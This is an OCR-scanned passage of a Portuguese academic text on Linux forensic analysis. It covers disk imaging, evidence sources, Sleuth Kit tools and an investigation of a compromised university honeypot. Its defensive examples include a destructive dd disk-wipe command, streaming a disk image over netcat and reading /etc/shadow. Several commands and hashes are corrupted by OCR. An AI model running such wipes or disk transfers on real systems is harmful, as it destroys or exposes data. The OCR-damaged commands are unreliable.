anteriores possa se confundir com os dados do disco suspeito. A propria ferramenta

dd faz isso:

# dd if=/dev/zero of=/dev/hdb

dd: writing to ‘/dev/hdb’: No space left on device
9815715+0 records in

9815714+-0 records out
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Neste exemplo observa o uso da ferramenta dd para esterilizar o disco, 'zerando’

todos os seus bits.

Em uma situagao que o investigador depara-se com um sistema suspeito que nao
pode ser desligado, os dados da imagem devem ser transmitidos pela rede a medida
que estes estdo sendo gerados. A ferramenta netcat|30| auxilia nesta tarefa, pois
permite escrever e ler dados através de uma conexao de rede, tornando possivel a
criacao de um ambiente cliente-servidor para transferir a imagem do disco suspeito.
O servidor, preferencialmente uma estacao forense, precisa estar preparado para

receber a imagem. Em carater de exemplo, o servidor escutard a porta 7777:

# nc-l-p 7777 | tee img_hd.dd | mdbsum -b > img hd.md5

O comando nc, da ferramenta netcat, com parametros -1 -p 7777 indica que
a estacgdo ficard em modo de escuta (listen),a espera de pacotes na porta 7777. O
comando tee recebe o fluxo de dados da entrada padrao, armazena em um arquivo
e replica de forma idéntica para a saida padrao. Com isso, os dados recebidos pela
porta 7777 serao guardados no arquivo img_hd.dd e recebidos pelo md5sum para

gerar seu hash criptogréfico, sendo este armazenado no arquivo img hd.md5.

Agora é necessario fazer com que o cliente, a maquina suspeita, transmita os
dados pela rede para o servidor. Lembre-se, que o sistema suspeito pode ter sido
comprometido o que torna todo e qualquer arquivo contido nele desconfiavel. Por
isso, o investigador forense deve utilizar os binarios a partir de um CD-ROM, por
exemplo, previamente gravados por ele mesmo, pois estes sim sao confiaveis. Na
Secao 5.5 é explicado como um investigador pode criar seu proprio conjunto de
ferramentas para fazer sua anélise forense. Considerando o acesso do CD-ROM pelo
diretério /mnt/cdrom, o cliente pode enviar os dados para o servidor da seguinte

forma:

# /mnt/cdrom/dd if=/dev/hda | tee img hd.dd | md5sum -b > img hd.md5

# cat img_hd.dd | /mnt/cdrom /nc 10.10.0.1 7777

Ou seja, no primeiro comando foi gerado a imagem e o seu hash ficou arma-
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zenado no arquivo img hd.md5 Ja no segundo comando, cat img hd.dd |
/mnt/cdrom/nc 10.10.0.1 7777, é feita a transferéncia da imagem para o servi-

dor.

Apos estas etapas, o investigador deve conferir o contetido do arquivo img_hd.md5
do cliente e servidor, pois se forem iguais esta garantida a integridade da imagem

enviada.

4.7.2 Analisando o sistema de arquivos

Com a imagem do disco feita e o original guardado em um lugar seguro com
acesso restrito, pode-se comecar a anélise do sistema de arquivos. Todo o trabalho
do investigador nessa etapa pode ser feito na imagem, pois conforme explicado na

secao anterior, ela ¢ idéntica ao original.

Em posse da imagem, o investigador deve "monta-la"em um diretério e analisar
o sistema suspeito. A montagem deve ser feita como somente leitura para impedir a
execucao de binarios e interpretacao de dewvice files assegurando assim, a integridade

dos dados. Um exemplo dessa montagem é demonstrado a seguir:

# mount -o ro,noexec,nodev,loop hdc_img.dd /mnt/analise

Com a imagem do computador suspeito devidamente montada, o investigador
tem acesso a todo o sistema pronto para comecar sua analise em busca de evidén-
cias digitais. Como existem diversos arquivos e diretorios, o investigador precisa
ter conhecimento das principais fontes de informagao que podem fornecer alguma

conclusao sobre o ataque sofrido pelo sistema.

Uma breve descricao das principais fontes de informacao é apresentado na Tabela

4.1 [6].

Fonte de Informa- | Descrigao

cao




4.7 Dispositivos de armazenagem secundéaria

57

Arquivos de configura-

O sistema Linux possui certos arquivos de configu-

cao racdo comumente acessados e/ou alterados pelos
atacantes em seu beneficio

Diretorios  tempora- | Os diretérios temporarios /tmp e /usr/tmp ser-

rios vem como diretorios de "rascunho"para todo o sis-

tema. Eles costumam ter seus contetidos apagados
freqiientemente pelo proprio sistema. Outra carac-
teristica desses diretorios, por padrao, é a permis-

sao de escrita para todos os usuarios.

Diretorio de arquivos

de dispositivos

Com excecao do arquivo MAKEDEV, o diretorio
/dev deve conter apenas os arquivos de dispositi-

vos (device files)

Arquivos e diretorios

escondidos ou nao

usuais

Arquivos e diretorios ocultos ou com nomes inco-
muns sao freqiientemente criados pelos atacantes

com intuito de esconder sua presenca.

Executéaveis e bibliote-

cas

Arquivos executaveis e bibliotecas sao alterados

pelos atacantes para esconder sua presenca.

Arquivos de log

Arquivos de log registram, por exemplo, atividades
dos usuéarios, processos, conexoes, entre outros, re-
presentando assim, um papel crucial na analise do
sistema de arquivos, pois permite a reconstituicao

de fatos que ocorreram no sistema.

Tabela 4.1: Pricipais fontes de informagdes.

Os itens adiante explicarao cada fonte de informacgao citada pela tabela acima,

de forma mais aprofundada.
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Arquivos de Configuragao

Os arquivos de configuragao sao importantes para determinar se ocorreu uma
alteracao no comportamento do sistema. Os atacantes costumam alterar estes ar-
quivos objetivando, por exemplo, a criacao de meios que permitam o retorno ao

sistema, esconder sua presenca, entre outros.

Arquivos desse género que merecem destaque sao aqueles relacionados ao controle
de acesso & méquina (como configuragao de um firewall), sistemas de log, configura-
¢ao de usuarios/grupos e scripts de inicializagao. Na andlise feita do rootkit KFN no
apéndice A, nota-se a preocupacao do atacante em alterar os scripts de inicializacao

ativando novos servicos e desativando outros.

Portanto, o responsavel pela analise do sistema comprometido deve dispor de
uma atencao especial a esses tipos de arquivos, para entender qual foi a intencao do

atacante ao comprometer a maquina.

Diretorios Temporarios

O sistema GNU /Linux, por padrao, possui dois diretorios temporarios: /var/tmp
e /tmp. Esses diretorios tém como caracteristica a capacidade de serem utilizados
para escrita e leitura por qualquer usudario que deseje guardar seus arquivos provi-

soriamente.

Como conseqiiéncia destas caracteristicas, os atacantes quando estao na etapa
de escalar privilégios, por exemplo, armazenam seus arquivos maliciosos nestes di-

retorios.

Por isso, a investigacao nos diretorios temporarios é importante, pois podem
conter evidéncias relacionadas a intrusao, como codigo fonte de programas, arquivos

executaveis, entre outros.
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Diretério de arquivos de dispositivos

O diretorio /dev é um diretorio que, em regra, possui mais de mil arquivos e é
pouco acessado pelos administradores, ja que é um diretorio de dispositivo bastante
utilizado pelo proprio sistema operacional. Por esses motivos, esse diretorio torna-se
interessante para um invasor que deseja guardar arquivos maliciosos no sistema sem

alertar o administrador.

Pelo fato do diretorio /dev ser um diretorio de dispositivos, qualquer arquivo

regular presente em seu conteiido pode ser uma evidéncia.

# find /dev -type {

/dev/MAKEDEV

No exemplo anterior, o comando find é executado em busca de arquivos regulares
dentro do diretério /dev e o tnico encontrado foi o MAKEDEV. Este arquivo é
um script sempre encontrado no /dev, mas ainda assim deve ser verificado sua
legitimidade. A presenca de outros arquivos além desse deve ser investigado de

forma mais detalhada.

Arquivos e diretérios ocultos ou nao usuais

Para tentar enganar os administradores, os atacantes criam arquivos e diretorios
ocultos ou nao usuais para esconder suas informagoes. Por exemplo, arquivo que

contenha espacos em brancos ou pontos.

Para contornar esse inconveniente, pode-se utilizar o comando abaixo:
#ls -la | cat -A
O comando cat com o parametro -A marca o final de linha com o caractere "$"e

permite a visualizacao dos caracteres especiais. Com isso, fica mais dificil desses

arquivos passarem desapercebidos.
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Executaveis e bibliotecas

Apo6s um sistema ser comprometido, o atacante costuma instalar backdoors para
permitir seu retorno ou rootkits para esconder seus rastros. Acoes desse género

precisam adicionar/alterar os executéaveis ou bibliotecas do sistema.

O investigador deve localizar todos os executaveis e bibliotecas do sistema, isolar

aqueles que julgar suspeitos e examinar cada um para verificar se sao legitimos.

# find /root -type f -exec file -zL. | grep -E ’executable|script’

O comando find do exemplo anterior localiza todos os executéaveis do sistema.

Porém listar os executaveis nao é suficiente. E necessario verificar se os binarios
do sistema estao integros, pois caso nao estejam, é possivel que exista algum rootkit

ou backdoor instalado.

Para verificar a integridade dos binarios do sistema que, em regra, estao localiza-
dos no /bin, /sbin, /usr/bin e /usr/sbin, é preciso comparar o hash criptografico
desses arquivos com os bindrios originais. Isso pode ser feito manualmente através
do md5sum ou utilizando ferramentas automatizadas como Tripwire [31], AIDE

[32], Labrador [33], entre outras.

Essa verificagdo de integridade também deve ser realizada nas bibliotecas do
sistema que, por padrao, ficam localizadas nos diretorios /lib, /var/lib, /usr/lib.

A segao 4.8 aborda melhor essa questao sobre integridade do sistema.

Arquivos de log

Arquivos de log sao aqueles que armazenam registros sobre as atividades do
sistema, de acordo como foi configurado. Por essa razao, sao nesses arquivos que o

investigador poderé verificar o que ocorreu com o sistema comprometido.

No caso do GNU/Linux, o programa responsavel por registrar as atividades

do sistema é o syslogd e a maioria dos arquivos de log ficam dentro do diretorio
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/var/log [11]. Os principais arquivos de log, com uma breve descrigao de cada, sao

listados na Tabela 4.2.

Arquivos de log

Descrigao

utmp Registra os usuarios que estao conectados naquele momento
no sistema. E o arquivo acessado pelos comandos w, who,
finger, por exemplo.

wtmp Registra as conexoes(login) e desconexoes(logout) do sistema.
E acessado através do comando lastlog, por exemplo.

btmp Registra as falhas de conexao. Pode ser acessado pelo co-
mando lastb.

messages/syslog Registra eventos e informagoes do sistema e aplicativos.

boot.log/dmesg

Registra as mensagens relativas ao processo de inicializagao

do sistema.

secure Mensagens privadas de programas e autorizacao de usuéarios
sao registrado nesse arquivo.

sulog Registra o uso do comando su.

arquivos de historicos

Arquivos como .history, .bash history, entre outros, re-
gistram o histérico dos comandos que foram executados por
cada usuario. Esses arquivos podem ser encontram no direto-

rio pessoal do usuério.

Tabela 4.2: Principais arquivos de log do sistema Linux

Os arquivos de log podem ter nomes e funcionalidades diferentes do apresentado

na Tabela 4.2, ou localizados em outros diretorios, ou até mesmo em outros com-

putadores. Isso depende do arquivo de configuracao do syslogd que, por padrao é

o /etc/syslog.conf. O investigador pode entender como esta o esquema de log do

sistema comprometido estudando o arquivo de configuragio (/etc/syslog.conf) e

consultando o proprio administrador.

Algumas das principais circunstancias suspeitas encontradas com relacao aos

arquivos de [og sao resumidas a seguir:
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e Auséncia de um ou mais arquivos de log;

e Inconsisténcia em seus registros como, por exemplo, tempos cronolégicos de-

sordenados;

e Arquivos de log contendo caracteres ilegiveis ou fora do padrao normal, podem

indicar uma tentativa de ataque de estouro de buffer;

e Conexoes de rede provenientes de origens suspeitas ou a servigos que deveriam

estar desabilitados;
e Tentativas mal sucedidas de login;
e [nicio ou término de servicos nao programados;

e Atividades atipicas de usuarios, principalmente do root.

O investigador pode encontrar uma grande dificuldade de analisar os arquivos de
logs por conter muita informacao. Uma forma de solucionar esse problema é utilizar
ferramentas automatizadas que permitam percorrer um arquivo de log em busca de
padroes especificos que o proprio investigador determina de acordo com o que estéa

procurando. Um exemplo desse tipo de ferramenta é o swatch [34].

4.8 Verificagao da integridade do sistema

Uma das situacoes mais complicadas durante o processo de anélise forense em
busca de evidéncias é saber com exatidao o que foi modificado no sistema. Porém,

com a verificacao de integridade consegue-se descobrir isso.

Para tal objetivo é utilizado uma ferramenta que gera um hash criptogréafico do
arquivo e verifica este, com o hash em seu estado confidvel. O procedimento pode

ser feito manualmente através do comando md5sum:

# md5sum /etc/shadow

a2952be34a21f07b7698413735468fc5 /etc/shadow
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Porém o processo manual ¢ muito exaustivo, ja que o sistema pode ter diversos
arquivos para serem verificados. Entao utiliza-se uma ferramenta que automatiza o
processo, como Tripware, AIDE, Labrador, e verifica a integridade dos arquivos

a partir de uma base de dados previamente gerada pelo administrador do sistema.

Essa base de dados contém uma listagem de arquivos e o hash criptografico de
cada um. Entao quando o investigador for utilizar uma das ferramentas citadas para
verificar a integridade do sistema, baseando-se nesta base de dados, serao indicados
quais arquivos sofreram alteracoes. Arquivos estes tornam-se evidéncias, ja que

foram alterados sem o concenso do administrador.

Caso o administrador do sistema que foi comprometido nao tenha essa base de
dados previamente, o investigador deve utilizar o processo manual em busca de

algum arquivo que tenha sofrido alteracgao.

E importante ressaltar dois itens com relacao a essa base de dados:

e Deve ser gerada no momento em que o sistema encontra-se em seu estado

confidvel, caso contrario, é uma base de dados sem credibilidade;

e Colocar apenas os arquivos importantes e que sofram poucas alteragoes nessa
base de dados, como os binarios, pois assim s6 sera alertado os arquivos que
sofreram alteracoes indevidas. Incluir um arquivo de log, por exemplo, nao é

recomendavel, ja que este sofre alteracoes constantemente.

4.9 Aréas nao acessiveis

Até o momento, nao foi explicado por esse trabalho como procurar evidéncias em

areas nao acessiveis pelo sistema de arquivos, como por exemplo, arquivos apagados.

Quando um arquivo é apagado, sua referéncia é removida das estruturas do sis-
tema de arquivos, entretanto os dados contidos no arquivo nao sao apagados do disco
[5]. Tais dados permanecem no disco indefinidamente, até que sejam sobrescritos

por outros arquivos. Desse modo, arquivos completos ou porgoes menores podem
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ser recuperados apos terem sido removidos.

Arquivos de log e binarios utilizados no comprometimento do sistema podem ser
removidos pelo atacante com intuito de esconder seus rastros. Por isso, a importan-

cia do investigador em analisar as informacoes contidas nas areas inacessiveis.

Uma forma eficiente de extrair essas informacoes é através do utilitario unrm,
que compde o conjunto de ferramentas chamado The Coroner’s Toolkit (TCT),
especifica para analise forense. O unrm faz a coleta de toda informacao presente

nos espacos nao alocados do sistema de arquivos de uma partigao.

# unrm hdc img.dd > hdc unrm.result

No exemplo anterior, o utilitArio unrm armazena toda a informagao nao alocada

da imagem hdc _img.dd no arquivo hdc _unrm.result.

Vale mencionar que a saida do comando unrm deve ser redirecionada para um

sistema de arquivos diferente do analisado, evitando assim, sobrescrever informacoes.

Com o arquivo gerado pelo unrm, que no exemplo citado ¢ o hdc__unrm.result,
pode-se fazer uma anélise em busca de palavras-chave ou utilizar o programa la-
zarus, também contido no TCT, que analisa os dados coletados do unrm e tenta
classifica-los conforme seu conteido, podendo gerar até um relatério em HTML. Um

exemplo de uso das duas situagoes mencionadas segue abaixo:

# cat hdc_unrm.result | strings | grep palavra-chave

# lazarus -h hdc_unrm.result

Foi abordada s6 uma visao superficial do TCT, pois o Capitulo seguinte trata

somente sobre a utilizacao das ferramentas de analise computacional forense.



Capitulo 5

Ferramentas Forenses

CIENTE de como e onde procurar as evidéncias, é importante demonstrar o
funcionamento das ferramentas de analise computacional forense do sistema
GNU/Linux, pois automatiza a busca por evidéncias tornando-se assim, extrema-
mente Uteis para o especialista no momento em que tiver que realizar seu trabalho

investigativo.

Neste capitulo serdo apresentadas as ferramentas GNU /Linux mais importantes
e sua utilizagao, ficando para o capitulo seguinte a abordagem préatica da anéalise

computacional forense.

5.1 The Coroner’s Toolkit (TCT)

Desenvolvido por Dan Farmer e Wietse Venema, TCT [35] é um conjunto de fer-
ramentas para analise computacional forense em um sistema Linux. Suas principais
partes sao:

e grave-robber

e unrm e lazarus

e mactime
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5.1.1 grave-robber

Captura varios tipos de dados seguindo a ordem de volatilidade e cria o hash

MD5 da evidéncia para preservar sua integridade.
# grave-robber -¢ /mnt/forensic/ -d /mnt/resul/ -o LINUX2 -Mit

No exemplo acima, o parametro -c indica o diretério que sera feito a andlise.
Neste diretorio, encontra-se imagem do sistema comprometido "montada". Os dados
obtidos pelo grave-robber serao armazenados no diretério /mnt /resul por causa
da opgao -d. O parametro -o diz o tipo de sistema, GNU/Linux, o -M cria um hash
MD5 e por ultimo o -i que coleta informacgoes dos inodes que estao em areas nao

alocadas.

5.1.2 unrm e lazarus

Essas ferramentas servem para recuperar e analisar blocos de dados nao alocados
no sistema de arquivos. O unrm coleta informacao de porcoes nao alocadas do
sistema de arquivos e lazarus analisa os dados do unrm, tentando classifici-los

conforme seu contetido. No final, o lazarus pode gerar um relatério em HTML.
# unrm hdc img.dd > hdc unrm.result # lazarus -h hdc_unrm.result

O parametro -h da ferramenta lazarus é responsavel por indicar a criacao de
um relatério HTML com os dados analisados, a partir do arquivo gerado pelo unrm

(hdc  unrm.result).

5.1.3 mactime

Ajuda a estabelecer uma linha de tempo dos arquivos que tiveram seu MAC*
time alterado. Todo arquivo tem um inode responsavel por armazenar os atribu-

tos MAC time, mantendo informagoes dos tempos do arquivo. O atributo Modify

"Modify/Access/Change
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informa quando um determinado arquivo foi alterado pela tdltima vez e no caso
do diretorio, armazena o tempo do tltimo arquivo acrescentado ou removido. A
atualizacdo do atributo Access, ocorre quando um arquivo é executado/aberto ou
quando é acessado caso seja um diretorio. Por fim, o atributo Change é atualizado

no momento em que as permissoes de um arquivo ou diretorio sao alteradas.

Esta ferramenta serve entao para criar uma linha cronolégica com relacao as

alteracoes do MAC time dos arquivos a partir de uma determinada data.

# mactime 3/30/2005

No exemplo citado acima, serd considerada uma linha de tempo a partir do dia
30 de margo de 2005. Esse comando deve ser executado apds o grave-robber e no

mesmo diretorio que contém os arquivos gerados pelo grave-robber.

O TCT ainda possui outras ferramentas para analise como pcat, ils, icat, entre
outros. Pcat visualiza memoria de um processo. ils lista informagoes sobre o node.
icat visualiza o contetido de um arquivo através do seu nimero de inode. Utilizando

o comando ils junto com icat é possivel restaurar arquivos apagados:

# ils -1f ext2fs /dev/hdb3 | awk -F ’| ’($2=="{") print $1’ | while read i; do icat /dev/hdb3 $i >

/tmp/apagados/$i; done

No exemplo acima, os arquivos apagados serao restaurados e armazenados no

diretério /tmp/apagados, tendo como nome o seu nimero de inode.

Maiores informacoes sobre o funcionamento do conjunto de ferramentas TCT

podem ser obtidas em suas paginas manuais(man pages).

Porém é importante descrever dois grandes pontos negativos que o TC'T possui.

Sao eles:

e Limitagao do tipo de particao investigada. Nao reconhece particoes como

EXT3 e NTFS, que sao comumente utilizadas;
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e Pouco amigével. O relatério HI'ML gerado pelo lazarus é confuso e presume

conhecimento da legenda.

5.2 TCTUTILS

Desenvolvido por Brian Carrier, TCTUTILS (36| acrescenta ferramentas ao

TCT. Sao elas:

istat

bcat

find _inode

o fls

find _file

blockcalc

5.2.1 istat

Exibe informacoes sobre um determinado inode como UID, GID, tamanho, MAC

time, entre outros.

# istat hdc_img.dd 7

Serd exibida informacoes do inode ntimero 7 da imagem comprometida hde _img.dd

5.2.2 bcat

Permite visualizar o contetido de um determinado bloco de dados de uma imagem
comprometida. Por exemplo, caso o investigador deseje analisar o bloco 128 da

imagem comprometida hdc__img.dd, ele pode executar o seguinte comando:
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# bcat hdc_img.dd 128

5.2.3 find inode

Encontra o inode que tem alocado um determinado bloco de dados do sistema

de arquivos.
# find_inode hdc_img.dd 250

Pelo exemplo acima, sera informado o inode do bloco 250.

5.2.4 fls

Lista os arquivos e diretorios de uma imagem suspeita podendo exibir nome de

arquivos removidos recentemente.

# fls hdc_img.dd

5.2.5 find file

A funcao desse utilitario é encontrar o nome de um arquivo ou diretorio corres-
pondente a um determinado inode. Arquivos ou diretorios que ja foram removidos

também podem ser encontrados.
# find _file -a hdc_img.dd 212
No exemplo acima, serao encontrados todos os arquivos do inode 212 da imagem

hdc img.dd.

5.2.6 block calc

Cria um mapeamento para um determinado bloco de dados entre a imagem

original do sistema de arquivos e a imagem contendo apenas os blocos nao alocados.
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5.3 The Sleuth Kit

Como o TCTUTILS foi totalmente baseado no TCT, os pontos negativos do
TCT persistiram no TCTUTILS. Por isso, Brian Carrier, o mesmo que desenvol-
veu o TCTUTILS, resolveu criar uma ferramenta que integrava o TCT com os

utilitarios do TCTUTILS, além de adicionar novas funcionalidades e a chamou de

The Sleuth Kit |37], antigamente conhecida como TASK.

The Sleuth Kit(TSK) é um conjunto de ferramentas de codigo aberto e gratuito,
capaz de fazer anélise forense em sistemas GNU /Linux e Windows, suportando os
sistemas de arquivos: NTFS, FAT, FFS, EXT2FS e EXT3FS. Outra funcionalidade
importante é a capacidade de ser executada a partir de um live-CD em uma resposta,
a incidentes de seguranca. Live-CD é um CD-ROM bootdvel contendo o sistema
operacional GNU /Linux que funciona diretamente do CD-ROM sem a necessidade

de instalacao.

Nao serao apresentados exemplos de uso do TSK, porque muitas de suas fer-
ramentas correspondem a alguma do TCT ou TCTUTILS. A Tabela 5.1 mostra

esse relacionamento.

Sleuth Kit TCT/TCTUTILS
dcalc blockealc
dcat bcat

dls unrm

ffind find _file
fls fls

icat icat

ifind find inode
ils ils

istat istat
mactime mactime
md5 md5
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Tabela 5.1: Relacao de correspondéncia entre as ferra-

mentas do Sleuth Kit e TCT/TCTUTILS

Existem outras ferramentas do Sleuth Kit que nao corresponde a nenhuma dos
programas do TCT ou TCTUTILS, como por exemplo, dstat, fsstat, entre ou-
tros. Maiores detalhes sobre essas e outras ferramentas podem ser obtidas nas

respectivas man pages ou no site http://www.sleuthkit.org/sleuthkit/

5.4 Autopsy Forensic Browser

Autopsy Forensic Browser (AFB) [38] ¢ uma ferramenta de codigo aberto e
gratuito, desenvolvida por Brian Carrier, que prové uma interface grafica para o
Sleuth Kit em HTML semelhante a um gerenciador de arquivos, exibindo detalhes
sobre dados apagados e estruturas de sistemas de arquivos, cujo resultado pode ser

acessado de qualquer plataforma utilizando um navegador HTML.
A figura 5.1 ilustra o AFB em funcionamento.

Ao contrario do lazarus, o AFB nao necessita que nenhuma ferramenta seja
executada anteriormente, podendo trabalhar diretamente sobre particoes montadas

ou sobre arquivos de imagem gerados com o aplicativo dd.

O AFB é considerado somente uma interface grafica do Sleuth Kit, pois todos
os procedimentos realizados em sua interface geram comandos do Sleuth Kit que

sao interpretados e exibidos novamente pelo AFB.

A execucao é simples. Depois de instalado basta executar o binario autopsy
que indicard o enderego/porta para ser acessado via browser. Estes dados podem

ser padronizados no arquivo de configuracao do Autopsy Forensic Browser.

O AFB solicita a criagao de um novo caso forense ou a abertura de ja existente.

Cada caso criado ¢ armazenado sob a forma de diretério para facilitar a busca por
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Figura 5.1: Autopsy Forensic Browser

auditorias feitas com o Autopsy. Dentro de cada caso deve-se especificar um ou
mais hosts que serao subdiretorios dos casos especificando, por exemplo, auditorias
em mais de uma maquina em um mesmo processo. Depois disso todos os menus
apresentam funcionalidades do Sleuth Kit que serd invocado a cada solicitacao na

interface web.

Maiores informacoes sobre o AFB podem ser encontradas em suas paginas ma-

nuais ou na péagina http://www.sleuthkit.org/autopsy/

5.5 Conjunto de Ferramentas Forenses

Para fazer a analise forense é necessario que o investigador tenha a sua disposicao
um conjunto de ferramentas que ele utilize para coletar, documentar, preservar e

processar as informagdes provenientes do sistema investigado.

A busca por evidéncias pode ser feita diretamente no sistema comprometido ou
através de imagens. Considerando o primeiro caso, o investigador precisa de um

conjunto de utilitarios confidveis para conduzir a investigacao, ji que um atacante
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pode ter alterado os binarios do sistema comprometido.

Alguns tipos de ferramentas importantes para conduzir uma anélise forense sao:

Uma ferramenta para capturar o trafico de rede(ethereal);
Utilitario para criar imagens de discos (dd);
Uma ferramenta que realize quebra de senhas (John The Ripper);

Ferramentas para relatar as portas TCP /IP abertas indicando os seus proces-

sos (netstat);

Utilitario para recuperar arquivos apagados (Sleuth Kit);

J& existem liveCD desenvolvido para atender quem deseja fazer o processo de

andlise computacional forense. Alguns que merecem destaque sao:

FIRE: oferece um ambiente para realizar analise computacional forense, res-
posta a incidentes, recuperacao de dados, busca por virus e avaliacao das

vulnerabilidades. http://fire.dmzs.com

PHLAK: distribuicao bootdvel com ferramentas para testes de penetragoes

(pentest), auditoria e forense. http://www.phlak.org/

ThePacketMaster Linux Security Server: utilizado para analise de vul-
nerabilidades, testes de penetracoes e andlise forense.

http://tpm-secserver.sourceforge.net

SNARL: voltado exclusivamente para a analise forense e baseado no sistema

unix FreeBSD. http://snarl.eecue.com

FCCU GNU/Linux Forensic Boot CD: focado na investigacao forense,

contendo diversas ferramentas e bash scripts. http://www.d-fence.be/

E possivel também que o proprio investigador crie o seu live-CD, baseado na

distribuicao que tiver mais afinidade, e assim, realizar com confianca seu trabalho
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investigativo. Para isso, basta procurar no site responséavel pela sua distribuicao

preferida para obter explicacoes de como criar um CD bootdvel.



Capitulo 6

Aplicacao pratica das Ferramentas

Abordadas

P ] ESTE capitulo serd demonstrado na pratica a utilizacao dos procedimentos e
ferramentas forenses em um sistema que foi realmente comprometido por um

INVasor.

No Laboratorio de Redes de Alta Velocidade (RAVEL) da COPPE/UFRJ foi
construida uma Honeynet com intuito de identificar os ataques e classificar os in-
vasores que serviram de base para a tese de mestrado de Alexandre Pinaffi em |[§].
A Honeynet foi composta por cinco honeypots em rede e permaneceu a espera de
um ataque bem sucedido, o que eventualmente ocorreu. Utilizamos, portanto, este
honeypot comprometido para aplicarmos os conhecimentos de analise computacional

forense descrito nos capitulos anteriores deste trabalho.

6.1 A estrutura da Honeynet

A honeynet construida utiliza a segunda geracao de honeynets, definida pelo
grupo Honeynet Project em [39]. A segunda geragao surgiu a partir da experiéncia
adquirida pela primeira, que era despreocupada com a seguranca das maquinas

ao redor da honeynet. Na segunda geracao havia uma preocupagao maior com o
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isolamento do ambiente de sistemas de producao, separagao do trafego, controle do
ambiente e uma maior transparéncia em relacao aos atacantes. A honeynet contruida

possuia como principais caracteristicas os seguintes itens:

e Limite de conexodes: o firewall pertencente a rede controla todo o trafego
de saida, diferenciado inclusive pelo tipo de protocolo utilizado. Para isso,
sao definidos limites maximos de conexdes geradas através de um honeypot, e
quando tal limite é atingido, o tipo de trafego em questao deve ser bloqueado

até que o tempo definido se esgote;

e Bridge: o sistema de bridge permite a existéncia de uma maquina de geréncia
entre os honeypots e a Internet. A maquina de geréncia tem a responsabili-
dade de controlar e capturar todo o trafego de forma transparente, sem que o

atacante tenha conhecimento de sua existéncia;

e Controle de log: o controle centralizado dos logs, assim como alguns siste-
mas de alerta, permite ao administrador tomar conhecimento sobre ataques e
reconhecimentos em tempo real, através do envio de mensagens pelo correio

eletronico, celulares etc., além de proteger e facilitar o acesso dos mesmos.

6.1.1 Estrutura Fisica

A estrutura fisica utilizada é composta por um roteador, uma maquina de ge-
réncia (também conhecida como Honeywall) e pelos cinco honeypots, responséaveis

pela obtencao dos ataques. Na Figura 6.1 é possivel observar a estrutura fisica.

Essa rede, apesar de estar construida dentro do laboratorio, utiliza uma diferente

classe de enderecamento IP, e possui todo o seu trafego isolado da rede de producao.

Todas as maquinas pertencentes a honeynet desempenham funcgoes distintas e
fundamentais para o correto funcionamento da estrutura. O roteador, além de garan-
tir que a rede construida estara ligada diretamente a Internet, também é responsavel

pelo primeiro filtro dos pacotes.
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Figura 6.1: Estrutura fisica da honeynet

A maquina de geréncia é responsavel por todo o controle de trafego interno e
externo da honeynet, além da responsabilidade pela captura de todos os dados. Ela
compoe um conjunto de ferramentas como firewall, IDS!, sistema de logs, sistema
de captura das teclas e comandos digitados, monitores de trafego e armazenamento
de dados. A maquina de gerenciamento possui arquitetura INTEL, e seu sistema

operacional o Linux Slackware[40] 10.0.

A 1ultima parte da estrutura fisica é composta pelos honeypots responsaveis pela
atracao e obtencao dos ataques. Os cinco honeypots presentes no ambiente sao
classificados como “HoneypotX”, onde X representa o ntimero do honeypot, variando
de 1 a 5. Os sistemas operacionais instalados sao, respectivamente, Linux Slackware
9.0, Linux Red Hat[41] 9.0, Linux Mandrake[42| 9.0, Windows[43] 2000 Server SP4

e Linux Red Hat 7.2. Todas as méaquinas foram instaladas com suas configuracoes

!Intrusion Detection System
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padrao para nao dificultar a invasao.

6.2 Estrutura Logica

A estrutura logica representa a forma da qual a rede é vista por pessoas externas.
Por se tratar de uma estrutura simples, as diferencas entre a estrutura fisica e logica
sao minimas, mas importantes para que um atacante nao perceba que estid sendo
monitorado. A Figura 6.2 representa a estrutura logica do ambiente de pesquisa

atual.

s - X -

Honeypot 1 Honeypot 2 Honeypot 3 Honeypot 4 Honeypot 5
Slackwara 9.0 Red Hat 8.0 Mandrake 9.0 Windows 2000 Red hat7.2

Figura 6.2: Estrutura logica da honeynet

No caso da estrutura logica, a rede é vista como um conjunto formado apenas
pelo roteador e pelos honeypots, ou seja, a maquina de geréncia nao faz parte dessa

estrutura.

Apesar da representacao logica da estrutura, todo o trafego da honeynet passa,

obrigatoriamente, pela maquina de geréncia. O funcionamento desta maquina em
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modo bridge permite que todos os dados sejam retransmitidos sem nenhum tipo
de alteragao no cabecalho dos pacotes. O fato dos honeypots estarem conectados
através de um hub, também permite que a maquina de geréncia capture todo o

trafego interno.

6.3 O comprometimento do sistema

Como a maquina de geréncia era responsavel pelo envio de alertas, a mesma
enviou um e-mail no dia 18 de setembro de 2004, as 12:43:08 horas (GMT), in-
formando que o Honeypotd estava gerando trafego de rede para Internet, o que so
é possivel se algum usuéario estiver conectado no sistema. Como este usuario nao
era nenhum dos administradores, conclui-se que havia um invasor conectado, fato

confirmado pela leitura dos logs de acesso ao Honeypotd.

Infelizmente, a honeynet foi desligada devido a problemas elétricos que a Ci-
dade Universitaria enfrentava na época. Portanto, os procedimentos de coleta de

evidéncias em memorias volateis nao puderam ser realizados.

6.4 A busca por evidéncias

O primeiro procedimento, uma vez que a maquina encontrava-se desligada, foi a
criagao da imagem do disco comprometido. Para isso, o sistema invadido foi "mon-
tado"no diretério /honeynet/mount e sua imagem, o arquivo honeypot5.dd,

gerada através do comando dd:

# md5sum /honeynet/mount
d90177e320977fbfch{924369485de64 /honeynet/mount
# dd if=/honeynet/mount of=/honeypot5.dd

A opcao de criar a imagem em arquivo é devido a sua facilidade de transporte

e manuseio, quando comparado com a imagem em um disco rigido. O arquivo
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honeypot5.dd, que contém a imagem do sistema comprometido, foi transferido

por ssh para a estacao forense 10.10.0.1:

# scp /honeypot5.dd 10.10.0.1:/

Na estacao forense, foi verificado o hash md5 da imagem:

# md5sum /honeypots.dd

d90177e320977tbfcbf924369485de64 honeypots.dd

Com o hash md5 da imagem idéntico ao disco original, estd provado que am-
bos contem exatamente o mesmo conteudo, logo, o que for encontrado nessa co-
pia também serd encontrado no original. Vamos "montar"a imagem no diretorio

/mnt /analise para iniciar o trabalho forense:

# mount -o ro,noexec,nodev,loop /honeypot5.dd /mnt/analise

Os parametros acima indicam que a montagem foi feita como somente leitura,
impedindo a execucao de binarios e nao interpretando os arquivos de dispositivos.

A opcao loop é necesséria para utilizar os recursos de loop do kernel.

6.5 Encontrando as evidéncias

A busca por evidéncias sera feita seguindo cada fonte de informacao da Tabela
4.1 comecando pelos arquivos de configuracao. Analisando estes arquivos percebe-se
que os servicos de SSH e ATD sofreram alteracoes. O SSH teve diversas alteragoes
